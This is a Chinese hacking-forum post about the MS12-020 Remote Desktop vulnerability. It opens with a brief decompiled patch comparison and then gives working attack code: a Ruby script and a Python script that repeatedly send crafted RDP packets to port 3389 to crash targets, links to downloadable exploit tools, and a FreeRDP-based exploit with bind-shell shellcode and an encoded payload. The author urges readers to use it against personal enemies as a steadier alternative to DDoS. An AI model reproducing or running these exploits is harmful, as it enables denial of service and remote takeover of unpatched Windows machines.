MS12-020 漏洞利用程序

根据大家的测试，多数为直接蓝屏。

根据Silic Group的调查，蓝屏的出现基本可以确定是因为MS11-065补丁的原因。本文的PoC是根据2011年8月出现的MS11-065补丁以后的rdpwd.sys文件结构而写

微软通过MS11-065修改了rdpwd.sys文件并更新了版本，所以导致没打过MS11-065的机器就出现了蓝屏等症状。

通过本论坛交流群内成员的各种测试结果，发送580 byte数据包的基本可以成功，内网或者同C段则成功率比较高，其他情况则蓝屏现象严重

另外请不要质疑测试脚本与ms12-020漏洞的真实性，蓝屏则表示漏洞存在，只是shellcode在内存覆盖的位置有问题。

如果不爽，跟谁有仇就干谁，重启就蓝重启就蓝重启就蓝，补丁都打不上，这东西比DDoS稳定

本文末尾将付上MS12-020真正的PoC，编写语言为ruby和python两个版本的，还有一个exe程序，均不需要什么freerdp包之类的东西。

Sabu写的那个不是MS12-020的shellcode，而是2008年Apache 1.2.19的远程命令执行漏洞的EXP修改来的。真正的PoC除了本文帖子，其他的地方还真没流传出来。

新闻把这个炒作起来，完全是在微软推送补丁以后看漏洞的介绍和波及范围而炒作的。

PoC以后肯定会有人有更好更傻瓜化的或者GUI版本的，因为既然有漏洞的文件知道了，就会有人根据分析有漏洞的文件写出shellcode，不过暂时本论坛的本帖子的PoC恐怕是网上为数不多的可用的真实的PoC。

其实之前我这里在14号当天就拿到了一个nasl的测试脚本，nasl版本的PoC真的要执行指定命令并不太容易，多数都拒绝服务了，不过测试中580byte的shellcode是成功率最高的。

也就是说，网上流传的截图也好，视频也好，有sent从一百两百到上万byte的PoC程序截图，这些截图明显就是假的了

OK,步入正文

//blackbap.org

MS12-020于前天被爆存在高危远程代码执行漏洞，可以通过向远程桌面端口发送特定的RDP包获得管理员权限，存在漏洞的文件是rdpwd.sys，出现漏洞的原因，恐怕现在网上已经泛滥的一塌糊涂了，那就是HandleAttachUserReq()函数。

其实早在2011年8月的时候，微软的rdpwd.sys文件就已经爆出过一个命令执行漏洞，漏洞代号是MS11-065。

注：本文并非专业分析

但是转载请注明本文来自：Silic Group Hacker Army[http://blackbap.org]

首先，第一步我们来看一下这个存在漏洞的函数HandleAttachUserReq()在打过补丁前后的不同：

更新前的代码：

char __thiscall HandleAttachUserReq(int this, int a2, int a3)

{

int v3; // esi@1

int v4; // eax@3

int v6; // [sp-8h] [bp-18h]@3

char v7; // [sp+4h] [bp-Ch]@3

int v8; // [sp+8h] [bp-8h]@3

int v9; // [sp+Ch] [bp-4h]@2

v3 = this;

*(_DWORD *)a3 = 1;

if ( *(_BYTE *)(this + 16) & 0×20 )

{

while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )

;

v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);

v6 = *(_DWORD *)(v9 + 16);

if ( v4 )

{

CreateAttachUserCon(14, 0, 0, v6);

*(_DWORD *)(v9 + 20) = 9;

}

else

{

CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);

*(_DWORD *)(v9 + 20) = 11;

*(_BYTE *)(v8 + 4) = 0;

}

if ( SendOutBuf(v3, v9) < 0 )

SListRemove(v3 + 112, v8, &v8);

}

return 1;

}

复制代码

更新后的代码：

char __thiscall HandleAttachUserReq(int this, int a2, int a3)

{

int v3; // esi@1

int v4; // eax@3

int v6; // [sp-8h] [bp-18h]@3

char v7; // [sp+4h] [bp-Ch]@3

int v8; // [sp+8h] [bp-8h]@3

int v9; // [sp+Ch] [bp-4h]@2

v3 = this;

*(_DWORD *)a3 = 1;

if ( *(_BYTE *)(this + 16) & 0×20 )

{

while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )

;

v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);

v6 = *(_DWORD *)(v9 + 16);

if ( v4 )

{

CreateAttachUserCon(14, 0, 0, v6);

*(_DWORD *)(v9 + 20) = 9;

}

else

{

CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);

*(_DWORD *)(v9 + 20) = 11;

*(_BYTE *)(v8 + 4) = 0;

}

if ( SendOutBuf(v3, v9) < 0 )

{

SListRemove(v3 + 112, v8, &v8);

//注意下面的if语句，这是更新后的代码 blackbap.org

if ( p )

{

if ( !*((_BYE *)P + 5) )

ExFreePoolWithTag(P, 0);

}

}

}

return 1;

}

复制代码

是的，代码中添加了一个额外的函数ExFreePoolWithTag()用于检查和释放内存的使用

原：

0002CB30 @HandleAttachUserReq@16

0002CBB8 push ss:[ebp+var_4]

0002CBBB push esi

0002CBBC call _SendOutBuf@8

0002CBC1 test eax, eax

0002CBC3 pop ebx

0002CBC4 jge loc_2CBD6

0002CBC6 lea eax, ss:[ebp+var_8]

0002CBC9 push eax

0002CBCA push ss:[ebp+var_8]

0002CBCD add esi, 0×70

0002CBD0 push esi

0002CBD1 call _SListRemove@12

0002CBD6 mov b1 a1, b1 1

0002CBD8 pop esi

0002CBD9 leave

0002CBDA retn b2 8

复制代码

这是后面加过检查和释放函数的：

0002CB44 @HandleAttachUserReq@16

0002CBCC push ss:[ebp+var_4]

0002CBCF push esi

0002CBD0 call _SendOutBuf@8

0002CBD5 test eax, eax

0002CBD7 jge loc_2CBD6

0002CBD9 lea eax, ss:[ebp+var_P]

0002CBDC push eax

0002CBDD push ss:[ebp+var_P]

0002CBE0 add esi, 0×70

0002CBE3 push esi

0002CBE4 call _SListRemove@12 //SListRemove(x,x,x)

0002CBE9 mov eax, ss:[ebp+P]

0002CBEC cmp eax, ebx

0002CBEE jz loc_2CBFD

0002CBF0 cmp b1 ds:[eax+5],b1 b1

0002CBF3 jnz loc_2CBFD

0002CBF5 push ebx //Tag

0002CBF6 push ebx //P

0002CBF7 call ds:[__imp__ExFreePoolWithTag@8] //__imp__ExFreePoolWithTag@8，ExFreePoolWithTag(x,x)

//CODE XREF: HandleAttachUserReq(x,x,x,x)+19j

//HandleAttachUserReq(x,x,x,x)+94j …

0002CBFD pop esi

0002CBFE mov b1 a1, b1 1

0002CC00 pop ebx

0002CC01 leave

0002CC02 retn b2 8

复制代码

通过检查，上述函数似乎只解决了内存泄露问题，并没有解决内存不释放的问题？？

还有一个函数也是疑似检查用户数据的，疑似是边界的检查

0001978A call _WDWParseUserData@36 //WDWParseUserData(x,x,x,x,x,x,x,x,x)

0001978F test eax, eax

00019791 jz short loc_1973D

00019793 push 0

00019795 push esi

00019796 push [ebp+arg_4]

00019799 push [ebp+var_4]

0001979C push [ebp+var_8]

0001979F push [ebp+var_C]

000197A2 push [ebp+arg_0]

000197A5 call _WDWConnect@28 //WDWConnect(x,x,x,x,x,x,x)

复制代码

上面这个函数我并没有做什么太大的分析，因为漏洞已经产生了，其实大家更想知道的，并不是这个漏洞如何产生的，而是这个漏洞怎么利用。

下面就贴出ruby语言的利用脚本：

#!/usr/bin/env ruby

# ms12-020 PoC

# NOTE: 本测试脚本基于中国民间流传的Chinese Shit而写，并且修正了数据包不符合协议的问题

# Author: Joshua J. Drake(jduck)

# From: BlackBap.Org

# Silic Group – 技术自由 技术创新 技术共享 技术原创 技术进步

require ‘socket’

def send_tpkt(sd, data)

sd.write(make_tpkt(data))

end

def make_tpkt(data)

[

3, # version

0, # reserved

4 + data.length

].pack(‘CCn’) + data

end

def make_x224(data)

[ data.length ].pack(‘C’) + data

end

def make_rdp(type, flags, data)

[ type, flags, 4 + data.length ].pack(‘CCv’) + data

end

host = ARGV.shift

sd = TCPSocket.new(host, 3389)

pkts1 = []

# craft connection request

rdp = make_rdp(1, 0, [ 0 ].pack(‘V’))

x224_1 = make_x224([

0xe0, # Connection request

0, # ??

0, # SRC-REF

0 # Class : Class 0

].pack(‘CnnC’) + rdp)

pkts1 << make_tpkt(x224_1)

# craft connect-initial

x224_2 = make_x224([

0xf0, # Data / Class 0

0x80 # EOT: True / NR: 0

].pack(‘CC’))

# mcsCi

target_params = “”+

#”\x02\x01\x00″+ # maxChannelIds

“\x02\x04\x00\x00\x00\x22″+ # maxChannelIds

“\x02\x04\x00\x00\x00\x0a”+ # maxUserIds

“\x02\x04\x00\x00\x00\x00″+ # maxTokenIds

“\x02\x04\x00\x00\x00\x01″+ # numPriorities

“\x02\x04\x00\x00\x00\x00″+ # minThroughput

“\x02\x04\x00\x00\x00\x01″+ # maxHeight

“\x02\x02\xff\xff”+ # maxMCSPDUSize

“\x02\x04\x00\x00\x00\x02″ # protocolVersion

min_params = “”+

“\x02\x04\x00\x00\x00\x01″+ # maxChannelIds

“\x02\x04\x00\x00\x00\x01″+ # maxUserIds

“\x02\x04\x00\x00\x00\x01″+ # maxTokenIds

“\x02\x04\x00\x00\x00\x01″+ # numPriorities

“\x02\x04\x00\x00\x00\x00″+ # minThroughput

“\x02\x04\x00\x00\x00\x01″+ # maxHeight

“\x02\x02\x04\x20″+ # maxMCSPDUSize

“\x02\x04\x00\x00\x00\x02″ # protocolVersion

max_params = “”+

“\x02\x02\xff\xff”+ # maxChannelIds

“\x02\x02\xfc\x17″+ # maxUserIds

“\x02\x02\xff\xff”+ # maxTokenIds

“\x02\x04\x00\x00\x00\x01″+ # numPriorities

“\x02\x04\x00\x00\x00\x00″+ # minThroughput

“\x02\x04\x00\x00\x00\x01″+ # maxHeight

“\x02\x02\xff\xff”+ # maxMCSPDUSize

“\x02\x04\x00\x00\x00\x02″ # protocolVersion

userdata = “”+

# gccCCrq

“\x00\x05\x00\x14″+

“\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63″+”\x61\x81\x1c”+

# clientCoreData

“\x01\xc0″+”\xd8\x00″+ # header (type, len)

“\x04\x00″+”\x08\x00″+ # version

“\x80\x02″+ # desktop width

“\xe0\x01″+ # desktop height

“\x01\xca”+ # color depth

“\x03\xaa”+ # SASSequence

“\x09\x04\x00\x00″ + # keyboard layout

“\xce\x0e\x00\x00″ + # client build number

# client name

“\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00″+

“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+

“\x04\x00\x00\x00″+ # keyboard type

“\x00\x00\x00\x00″+ # kbd subType

“\x0c\x00\x00\x00″+ # kbd FuncKey

# imeFileName

“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+

“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+

“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+

“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+

“\x01\xca”+ # postBeta2ColorDepth

“\x01\x00″+ # clientProductId

“\x00\x00\x00\x00″ + # serialNumber

“\x10\x00″+ # highColorDepth

“\x07\x00″+ # supportedColorDepths

“\x01\x00″+ # earlyCapabilityFlags

# clientDigProductId -poc has: “00000-000-0000000-00000″

“\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00″+

“\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00″+

“\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00″+

“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+

“\x00″+ # connectionType

“\x00″+ # pad1octet

“\x00\x00\x00\x00″+ # serverSelectedProtocol

“\x04\xc0\x0c\x00″+ # desktopPhysicalWidth

“\x0d\x00\x00\x00″+ # desktopPhysicalHeight

“\x00\x00\x00\x00″+ # reserved

# clientSecurityData

“\x02\xc0″+”\x0c\x00″+ # header (type, len)

“\x1b\x00\x00\x00″+ # encryptionMethods

“\x00\x00\x00\x00″+ # extEncryptionMethods

# clientNetworkData

“\x03\xc0″+”\x2c\x00″+ # header (type, len)

“\x03\x00\x00\x00″+ # channel count!

# channel 0

“rdpdr\x00\x00\x00″+ # name

“\x00\x00\x80\x80″+ # options

# channel 1

“cliprdr\x00″+ # name

“\x00\x00\xa0\xc0″+ # options

# channel 2

“rdpsnd\x00\x00″+ # name

“\x00\x00\x00\xc0″ # options

# clientClusterData (not present)

# clientMonitorData (not present)

mcs_data = “”+

“\x04\x01\x01″+ # callingDomainSelector

“\x04\x01\x01″+ # calledDomainSelector

“\x01\x01\xff”+ # upwardFlag

#”\x30″ + [ target_params.length ].pack(‘C’) + target_params +

#”\x30″ + [ min_params.length ].pack(‘C’) + min_params +

#”\x30″ + [ max_params.length ].pack(‘C’) + max_params +

“\x30″ + [ 0x19 ].pack(‘C’) + target_params +

“\x30″ + [ 0x19 ].pack(‘C’) + min_params +

“\x30″ + [ 0x1c ].pack(‘C’) + max_params +

# userData

“\x04\x82″ + [ userdata.length ].pack(‘n’) + userdata

#mcs = “\x7f\x65\x82″ + [ mcs_data.length ].pack(‘n’) # connect-initial (0×65 / 101), length

mcs = “\x7f\x65\x82″ + [ 0x194 ].pack(‘n’) # connect-initial (0×65 / 101), length

mcs << mcs_data

pkts1 << make_tpkt(x224_2 + mcs)

# send a special one?

pkts1 << make_tpkt(x224_2 + “\x04\x01\x00\x01\x00″)

# send more pkts! – based on poc

10.times {

pkts1 << make_tpkt(x224_2 + “\x28″)

}

pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xea”)

pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xeb”)

pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xec”)

pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xed”)

pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xee”)

pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf0″)

pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf1″)

pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf2″)

pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf3″)

pkts1 << make_tpkt(x224_2 + “\x21\x80″)

bigpkt = pkts1.join(”)

loop {

sd.write(bigpkt)

send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01″)

send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02″)

send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03″)

send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04″)

# read connect-initial response

buf = sd.recv(1500)

# XXX: TODO: check response =)

#puts buf

}

sd.close

# BlackBap.Org

复制代码

既然ruby的数据包上已经声明了，这个脚本是基于“Chinese Shit”的脚本所写，并且修正了“Chinese Shit”上面的不完全符合协议的数据包

那么我们再来看一下“Chinese Shit”的PoC又是什么样子的，Python语言：

#ms12-020 “chinese shit” PoC v2 (wireshark版)

# 测试平台:win sp3(西班牙语), 据反馈Win7和win 2008也同样可用

# Silic Group – 技术自由 技术创新 技术共享 技术原创 技术进步

# 附件中添加time.sleep修正bug版本的py脚本

# BlackBap.Org

import socket

import sys

buf=”"

buf+=”\x03\x00\x00\x13″ # TPKT, Version 3, lenght 19

buf+=”\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00″ # ITU-T Rec X.224

buf+=”\x03\x00\x01\xd6″ # TPKT, Version 3, lenght 470

buf+=”\x02\xf0\x80″ # ITU-T Rec X.224

buf+=”\x7f\x65\x82\x01\x94\x04″ #MULTIPOINT-COMMUNICATION-SERVICE T.125

buf+=”\x01\x01\x04\x01\x01\x01\x01\xff” # “Fuck you Chelios” packet

buf+=”\x30\x19\x02\x04\x00\x00\x00\x00″

buf+=”\x02\x04\x00\x00\x00\x02\x02\x04″

buf+=”\x00\x00\x00\x00\x02\x04\x00\x00″

buf+=”\x00\x01\x02\x04\x00\x00\x00\x00″

buf+=”\x02\x04\x00\x00\x00\x01\x02\x02″

buf+=”\xff\xff\x02\x04\x00\x00\x00\x02″

buf+=”\x30\x19\x02\x04\x00\x00\x00\x01″

buf+=”\x02\x04\x00\x00\x00\x01\x02\x04″

buf+=”\x00\x00\x00\x01\x02\x04\x00\x00″

buf+=”\x00\x01\x02\x04\x00\x00\x00\x00″

buf+=”\x02\x04\x00\x00\x00\x01\x02\x02″

buf+=”\x04\x20\x02\x04\x00\x00\x00\x02″

buf+=”\x30\x1c\x02\x02\xff\xff\x02\x02″

buf+=”\xfc\x17\x02\x02\xff\xff\x02\x04″

buf+=”\x00\x00\x00\x01\x02\x04\x00\x00″

buf+=”\x00\x00\x02\x04\x00\x00\x00\x01″

buf+=”\x02\x02\xff\xff\x02\x04\x00\x00″

buf+=”\x00\x02\x04\x82\x01\x33\x00\x05″

buf+=”\x00\x14\x7c\x00\x01\x81\x2a\x00″

buf+=”\x08\x00\x10\x00\x01\xc0\x00\x44″

buf+=”\x75\x63\x61\x81\x1c\x01\xc0\xd8″

buf+=”\x00\x04\x00\x08\x00\x80\x02\xe0″

buf+=”\x01\x01\xca\x03\xaa\x09\x04\x00″

buf+=”\x00\xce\x0e\x00\x00\x48\x00\x4f”

buf+=”\x00\x53\x00\x54\x00\x00\x00\x00″

buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″

buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″

buf+=”\x00\x00\x00\x00\x00\x04\x00\x00″

buf+=”\x00\x00\x00\x00\x00\x0c\x00\x00″

buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″

buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″

buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″

buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″

buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″

buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″

buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″

buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″

buf+=”\x00\x01\xca\x01\x00\x00\x00\x00″

buf+=”\x00\x10\x00\x07\x00\x01\x00\x30″

buf+=”\x00\x30\x00\x30\x00\x30\x00\x30″

buf+=”\x00\x2d\x00\x30\x00\x30\x00\x30″

buf+=”\x00\x2d\x00\x30\x00\x30\x00\x30″

buf+=”\x00\x30\x00\x30\x00\x30\x00\x30″

buf+=”\x00\x2d\x00\x30\x00\x30\x00\x30″

buf+=”\x00\x30\x00\x30\x00\x00\x00\x00″

buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″

buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″

buf+=”\x00\x00\x00\x00\x00\x04\xc0\x0c”

buf+=”\x00\x0d\x00\x00\x00\x00\x00\x00″

buf+=”\x00\x02\xc0\x0c\x00\x1b\x00\x00″

buf+=”\x00\x00\x00\x00\x00\x03\xc0\x2c”

buf+=”\x00\x03\x00\x00\x00\x72\x64\x70″

buf+=”\x64\x72\x00\x00\x00\x00\x00\x80″

buf+=”\x80\x63\x6c\x69\x70\x72\x64\x72″

buf+=”\x00\x00\x00\xa0\xc0\x72\x64\x70″

buf+=”\x73\x6e\x64\x00\x00\x00\x00\x00″

buf+=”\xc0″

buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12

buf+=”\x02\xf0\x80″ # ITU-T Rec X.224

buf+=”\x04\x01\x00\x01\x00″ # MULTIPOINT-COMMUNICATION-SERVICE T.125

buf+=”\x03\x00\x00\x08″ #TPKT, Version 3, Length 8

buf+=”\x02\xf0\x80″ # ITU-T Rec X.224

buf+=”\x28″ # MULTIPOINT-COMM-SERVICE T.125

buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12

buf+=”\x02\xf0\x80″ # ITU-T Rec X.224

buf+=”\x38\x00\x06\x03\xef” # MULTIPOINT-COMM-SERVICE T.125

buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12

buf+=”\x02\xf0\x80″ #ITU-T Rec X.224

buf+=”\x38\x00\x06\x03\xeb” # MULTIPOINT-COMM-SERVICE T.125

buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12

buf+=”\x02\xf0\x80″ #ITU-T Rec X.224

buf+=”\x38\x00\x06\x03\xec”# MULTIPOINT-COMM-SERVICE T.125

buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12

buf+=”\x02\xf0\x80″ #ITU-T Rec X.224

buf+=”\x38\x00\x06\x03\xed”# MULTIPOINT-COMM-SERVICE T.125

buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12

buf+=”\x02\xf0\x80″ #ITU-T Rec X.224

buf+=”\x38\x00\x06\x03\xee”# MULTIPOINT-COMM-SERVICE T.125

buf+=”\x03\x00\x00\x0b” # TPKT, Version 3, Lenght 12

buf+=”\x06\xd0\x00\x00\x12\x34\x00″ #ITU-T Rec X.224

HOST = sys.argv[1]

PORT = 3389

for i in range(1000):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST,PORT))

print “sending: %d bytes” % len(buf)

s.send(buf)

rec = s.recv(100)

print “received: %d bytes” % len(rec)

s.close()

# BlackBap.Org

复制代码

据测试，上面版本的Chinese Shit仍然有很多bug，附件中新增了time.sleep修正bug版本的py脚本

如果你比较懒，可以直接下载以上PoC的压缩包，如果你比较勤快，可以点击以上代码的“复制代码”，并保存于记事本并重命名为xx.rb和xx.py并自己修正bug

附件说明：

*

* MS12-020.rb为严格符合rdp数据包规范的ruby脚本语言的MS12-020测试PoC

*

* Chinese Shit.py为网上流传的MS12-020漏洞程序Python脚本wireshark v2修正版

* 西班牙语XP SP3和Win7/R2都成功

*

* Chinese Shit Silic Group修正版.py为基于原Chinese Shit的python脚本的bug校正版本

* 添加了time.sleep

*

* rdp.exe则来自网上广泛流传的花钱购买的版本的利用工具

* rdp IP -v如果对方机器重启表示漏洞存在，且可利用。

*

* Apache 1.2.19 mod_jk 远程栈溢出漏洞.py是流传最广泛的Sabu@fbi.gov的娱乐版PoC

*

*

* Silic Group – 技术自由 技术创新 技术共享 技术原创 技术进步

* BlackBap.Org

*提供一个Win下测试成功的, 不需要ruby环境的EXE程序:

http://115.com/file/dpq7v1u4#

MS12-020利用工具-含bug修正版.rar

-----------------------一下为早期---------------------------

需要安装 FREERDP

这个貌似就是大家苦苦寻找的 ms12-020 exp

下载地址:http://115.com/file/anmgwyzh

视频地址:http://good.gd/1975261.htm

FREERDP 模块:https://github.com/FreeRDP/FreeRDP/downloads

转载于Dis9

标签: FREERDP 地址 http 貌似 downloads

MS12-020: 远程桌面中允许远程执行代码漏洞

这是网上流传的 ms12-020 exp py 版本代码:

#!/usr/bin/env python
#############################################################################
#   MS12-020 Exploi
#
#   Uses FreeRDP
#############################################################################

import struct
import sys
from freerdp import rdpRdp
from freerdp import crypto
from freerdp.rdpRdp import  rdpNego

#bind shellcode TCP port 4444
shellcode  = '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
shellcode += '\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9'
shellcode += '\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56'
shellcode += '\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22'
shellcode += '\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30'
shellcode += '\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81'
shellcode += '\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42'
shellcode += '\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22'
shellcode += '\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9'
shellcode += '\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79'
shellcode += '\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab'
shellcode += '\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa'
shellcode += '\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48'
shellcode += '\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1'
shellcode += '\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0'
shellcode += '\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe'
shellcode += '\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9'
shellcode += '\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84'
shellcode += '\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56'
shellcode += '\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8'
shellcode += '\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79'
shellcode += '\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6'
shellcode += '\xba\xb5\x60\x56\x39\x4a\xb6\xa9'

#Payload
payload  = '\x41\x00\x5c\x00'
payload += '\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49'
payload += '\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x51\x5a\x6a\x68'
payload += '\x58\x30\x41\x31\x50\x42\x41\x6b\x42\x41\x78\x42\x32\x42\x41\x32'
payload += '\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x4b\x59\x49\x6c\x43'
payload += '\x5a\x7a\x4b\x32\x6d\x5a\x48\x5a\x59\x69\x6f\x4b\x4f\x39\x6f\x71'
payload += '\x70\x6e\x6b\x62\x4c\x44\x64\x71\x34\x4c\x4b\x62\x65\x75\x6c\x4c'
payload += '\x4b\x63\x4c\x76\x65\x70\x78\x35\x51\x48\x6f\x6c\x4b\x50\x4f\x74'
payload += '\x58\x6e\x6b\x33\x6f\x55\x70\x37\x71\x48\x6b\x57\x39\x6c\x4b\x66'
payload += '\x54\x6e\x6b\x46\x61\x7a\x4e\x47\x41\x6b\x70\x7a\x39\x4c\x6c\x4c'
payload += '\x44\x6f\x30\x62\x54\x44\x47\x38\x41\x4b\x7a\x54\x4d\x44\x41\x4b'
payload += '\x72\x78\x6b\x39\x64\x35\x6b\x53\x64\x75\x74\x46\x48\x72\x55\x79'
payload += '\x75\x6c\x4b\x53\x6f\x76\x44\x44\x41\x48\x6b\x35\x36\x4e\x6b\x54'
payload += '\x4c\x30\x4b\x6c\x4b\x51\x4f\x65\x4c\x65\x51\x38\x6b\x77\x73\x36'
payload += '\x4c\x4e\x6b\x6e\x69\x30\x6c\x66\x44\x45\x4c\x30\x61\x69\x53\x30'
payload += '\x31\x79\x4b\x43\x54\x6c\x4b\x63\x73\x44\x70\x4e\x6b\x77\x30\x66'
payload += '\x6c\x6c\x4b\x72\x50\x45\x4c\x4c\x6d\x4e\x6b\x73\x70\x64\x48\x73'
payload += '\x6e\x55\x38\x6e\x6e\x32\x6e\x34\x4e\x58\x6c\x62\x70\x39\x6f\x6b'
payload += '\x66\x70\x66\x61\x43\x52\x46\x71\x78\x30\x33\x55\x62\x63\x58\x63'
payload += '\x47\x34\x33\x65\x62\x41\x4f\x30\x54\x39\x6f\x4a\x70\x52\x48\x5a'
payload += '\x6b\x38\x6d\x6b\x4c\x75\x6b\x30\x50\x6b\x4f\x6e\x36\x53\x6f\x6f'
payload += '\x79\x4a\x45\x32\x46\x6f\x71\x6a\x4d\x34\x48\x77\x72\x73\x65\x73'
payload += '\x5a\x37\x72\x69\x6f\x58\x50\x52\x48\x4e\x39\x76\x69\x4a\x55\x4c'
payload += '\x6d\x32\x77\x69\x6f\x59\x46\x50\x53\x43\x63\x41\x43\x70\x53\x70'
payload += '\x53\x43\x73\x50\x53\x62\x63\x70\x53\x79\x6f\x6a\x70\x35\x36\x61'
payload += '\x78\x71\x32\x78\x38\x71\x76\x30\x53\x4b\x39\x69\x71\x4d\x45\x33'
payload += '\x58\x6c\x64\x47\x6a\x74\x30\x5a\x67\x43\x67\x79\x6f\x39\x46\x32'
payload += '\x4a\x56\x70\x66\x31\x76\x35\x59\x6f\x58\x50\x32\x48\x4d\x74\x4e'
payload += '\x4d\x66\x4e\x7a\x49\x50\x57\x6b\x4f\x6e\x36\x46\x33\x56\x35\x39'
payload += '\x6f\x78\x50\x33\x58\x6b\x55\x51\x59\x4e\x66\x50\x49\x51\x47\x39'
payload += '\x6f\x48\x56\x32\x70\x32\x74\x62\x74\x46\x35\x4b\x4f\x38\x50\x6e'
payload += '\x73\x55\x38\x4d\x37\x71\x69\x69\x56\x71\x69\x61\x47\x6b\x4f\x6e'
payload += '\x36\x36\x35\x79\x6f\x6a\x70\x55\x36\x31\x7a\x71\x74\x32\x46\x51'
payload += '\x78\x52\x43\x70\x6d\x4f\x79\x4d\x35\x72\x4a\x66\x30\x42\x79\x64'
payload += '\x69\x7a\x6c\x4b\x39\x48\x67\x62\x4a\x57\x34\x4f\x79\x6d\x32\x37'
